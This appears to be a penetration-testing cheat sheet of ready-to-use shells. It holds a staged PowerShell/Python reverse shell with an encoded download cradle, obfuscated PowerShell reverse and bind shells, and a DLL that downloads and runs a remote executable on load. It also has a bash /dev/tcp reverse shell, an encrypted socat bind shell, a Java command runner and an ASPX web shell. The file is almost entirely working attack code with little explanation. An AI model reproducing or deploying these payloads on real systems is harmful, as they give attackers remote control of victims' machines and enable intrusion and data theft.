######
Shells
######

*******
Generic
*******

Golang Windows & Linux reverse shell
************************************

| https://gitlab.com/charles.gargasson/gobhack

|

*******
Windows
*******

PowerShell Python Reverse TCP (web stagged)
*******************************************

| You need embeddable python zip at https://www.python.org/downloads/windows/ and to serve it as python.zip

.. code-block:: bash

  IP="192.168.1.163"
  PORT=53
  PROCESS="powershell.exe"
  WRITABLEPATH='$env:TEMP'
  cat <<EOF| sudo tee /var/www/html/pspyrs
  \$dir = "$WRITABLEPATH"; \$web="http://$IP"; \$Exists = Test-Path "\$dir\\python\\"; If (\$Exists -eq \$False) {(New-Object Net.WebClient).DownloadFile("\$web/python.zip","\$dir\\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("\$dir\\python.zip", "\$dir\\python\\")}
  \$arguments=@("-c","""import time,socket,os,threading,subprocess as sp;p=sp.Popen([bytes.fromhex('$(echo -n "$PROCESS"|xxd -plain|rev)'[::-1])],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('$IP',$PORT));threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o);time.sleep(0.01)',globals()),daemon=True).start();threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i);time.sleep(0.01)',globals())).start()""")
  Start-Process -NoNewWindow -FilePath "\$dir\\python\\python.exe" -ArgumentList \$arguments
  EOF

.. code-block:: bash

	sudo nc -nvlp 53 -s 192.168.1.163

.. code-block:: bash

	cat << 'EOF'|iconv -f UTF8 -t UTF16LE | base64 -w 0
	IEX(New-Object Net.WebClient).downloadString("http://192.168.1.163/pspyrs")
	EOF

	powershell -E AAAAAAAAAAAAAA==
  # Start-Process -NoNewWindow -FilePath "powershell.exe" -ArgumentList "-E", "AAAAAAAAAAAAAA=="

|

PowerShell Reverse TCP
**********************

.. code-block:: bash

  # Attacker Listen 443
  sudo nc -nvlp 443

.. code-block:: bash

  # Generate PowerShell command to execute on target
  export LHOST="4.3.2.1"
  export LPORT="443"
  echo -en "\npowershell -nop -noni -w Hidden -ep Bypass -e $( echo '
  $c=New-Object Net.Sockets.TcpClient("'$LHOST'",'$LPORT')
  $s=$c.GetStream()
  $sb=([Text.Encoding]::UTF8).GetBytes("PS "+(pwd).Path+"> ")
  $s.Write($sb,0,$sb.Length)
  [byte[]]$b=0..65535|%{0}
  while(($i=$s.Read($b,0,$b.Length)) -ne 0){
   $d=(New-Object -t Text.UTF8Encoding).GetString($b,0,$i)
   $sb=(iex $d | Out-String) 2>&1
   $sb2=$sb+"PS "+(pwd).Path+"> "
   $sb=([Text.Encoding]::UTF8).GetBytes($sb2)
   $s.Write($sb,0,$sb.Length)
   $s.Flush()
  }
  $c.Close()
  ' | iconv -f utf8 -t utf-16le | base64 -w0) \n\n"

.. code-block:: powershell

  # Result Example
  powershell -nop -noni -w Hidden -ep Bypass -e CgAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAAQwBsAGkAZQBuAHQAKAAiADQALgAzAC4AMgAuADEAIgAsADQANAAzACkACgAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkACgAkAHMAYgA9ACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiACkACgAkAHMALgBXAHIAaQB0AGUAKAAkAHMAYgAsADAALAAkAHMAYgAuAEwAZQBuAGcAdABoACkACgBbAGIAeQB0AGUAWwBdAF0AJABiAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQAKAHcAaABpAGwAZQAoACgAJABpAD0AJABzAC4AUgBlAGEAZAAoACQAYgAsADAALAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7AAoAIAAkAGQAPQAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAHQAIABUAGUAeAB0AC4AVQBUAEYAOABFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiACwAMAAsACQAaQApAAoAIAAkAHMAYgA9ACgAaQBlAHgAIAAkAGQAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwApACAAMgA+ACYAMQAKACAAJABzAGIAMgA9ACQAcwBiACsAIgBQAFMAIAAiACsAKABwAHcAZAApAC4AUABhAHQAaAArACIAPgAgACIACgAgACQAcwBiAD0AKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGIAMgApAAoAIAAkAHMALgBXAHIAaQB0AGUAKAAkAHMAYgAsADAALAAkAHMAYgAuAEwAZQBuAGcAdABoACkACgAgACQAcwAuAEYAbAB1AHMAaAAoACkACgB9AAoAJABjAC4AQwBsAG8AcwBlACgAKQAKAAoA

| 

PowerShell bind shell
*********************

|

.. code-block:: bash

  cat << 'EOF'|iconv -f UTF8 -t UTF16LE | base64 -w 0
  $listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',8888);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()
  EOF
  # powershell.exe -E JABsAGkAcwB0AGUAbgBlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAATABpAHMAdABlAG4AZQByACgAJwAwAC4AMAAuADAALgAwACcALAA4ADgAOAA4ACkAOwAkAGwAaQBzAHQAZQBuAGUAcgAuAHMAdABhAHIAdAAoACkAOwAkAGMAbABpAGUAbgB0ACAAPQAgACQAbABpAHMAdABlAG4AZQByAC4AQQBjAGMAZQBwAHQAVABjAHAAQwBsAGkAZQBuAHQAKAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA7ACQAbABpAHMAdABlAG4AZQByAC4AUwB0AG8AcAAoACkACgA=
  # nc 1.2.3.4 8888

|


Dll
***

| Run system command with DLL 

.. code-block:: bash

  cat <<'EOF'>exploit.c
  #include <windows.h>
  BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
      switch(dwReason){
          case DLL_PROCESS_ATTACH:
              system("powershell -c \"wget 192.168.45.235/r32.exe -o $env:TEMP\\r.exe;saps -NoNewWindow $env:TEMP\\r.exe\"");
              break;
          case DLL_PROCESS_DETACH:
              break;
          case DLL_THREAD_ATTACH:
              break;
          case DLL_THREAD_DETACH:
              break;
      }
      return TRUE;
  }
  EOF

  x86_64-w64-mingw32-gcc exploit.c -shared -o exploit64.dll
  i686-w64-mingw32-gcc exploit.c -shared -o exploit32.dll

|

*****
Linux
*****

Bash Reverse TCP
****************

.. code-block:: bash

  # Attacker Listen 443
  sudo nc -nvlp 443

.. code-block:: bash

  # Victim Connect 443
  bash -c "bash -i >& /dev/tcp/4.3.2.1/443 0>&1"

|

Socat Bind TCP Shell (encrypted)
*****************************

| Etablish an encrypted bind shell with socat and a certificate (pub+key)

.. code-block:: bash

  # Victim - Regroup cert and key
  cat server.key server.crt > server.pem

  # Victim - Listen 443 
  sudo socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork EXEC:/bin/bash

  # Attacker - Connect 443
  socat - OPENSSL:10.11.0.4:443,verify=0   #Skip certificate check

|

****
Java
****

.. code-block:: java

  cat <<'EOF'>main.java
  import java.io.BufferedReader;
  import java.io.IOException;
  import java.io.InputStreamReader;

  public class main {
      public static void main(String[] args) {
          ProcessBuilder processBuilder = new ProcessBuilder();
          String cmd = "whoami";
          if (System.getProperty("os.name").startsWith("Win")){
              processBuilder.command("powershell", "-c", cmd);
          }else{
              processBuilder.command("/bin/sh", "-c", cmd);
          }
          try {
              Process process = processBuilder.start();
              BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
              String line;
              while ((line = reader.readLine()) != null) {
                  System.out.println(line);
              }

              int exitCode = process.waitFor();
              System.out.println("\nExited with error code : " + exitCode);

          } catch (IOException e) {
              e.printStackTrace();
          } catch (InterruptedException e) {
              e.printStackTrace();
          }
      }
  }
  EOF

.. code-block:: bash

  javac --release 8 -d ./ main.java
  jar cvfe main.jar main main.class
  #jar -uf main.jar extrafile.xml
  java -jar main.jar

|

****
ASPX
****

|

.. code-block:: aspx

  cat <<'EOF'>cmd.aspx
  <%@ Page Language="VB" Debug="true" %>
  <%@ import Namespace="system.IO" %>
  <%@ import Namespace="System.Diagnostics" %>

  <script runat="server">

  Sub RunCmd(Src As Object, E As EventArgs)
  Dim myProcess As New Process()
  Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
  myProcessStartInfo.UseShellExecute = false
  myProcessStartInfo.RedirectStandardOutput = true
  myProcess.StartInfo = myProcessStartInfo
  myProcessStartInfo.Arguments=xcmd.text
  myProcess.Start()

  Dim myStreamReader As StreamReader = myProcess.StandardOutput
  Dim myString As String = myStreamReader.Readtoend()
  myProcess.Close()
  mystring=replace(mystring,"<","&lt;")
  mystring=replace(mystring,">","&gt;")
  result.text= vbcrlf & "<pre>" & mystring & "</pre>"
  End Sub

  </script>

  <html>
  <body>
  <form runat="server">
  <p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>
  <asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
  <p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>
  <asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>
  <p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>
  <p><asp:Label id="result" runat="server"></asp:Label>
  </form>
  </body>
  </html>
  EOF

|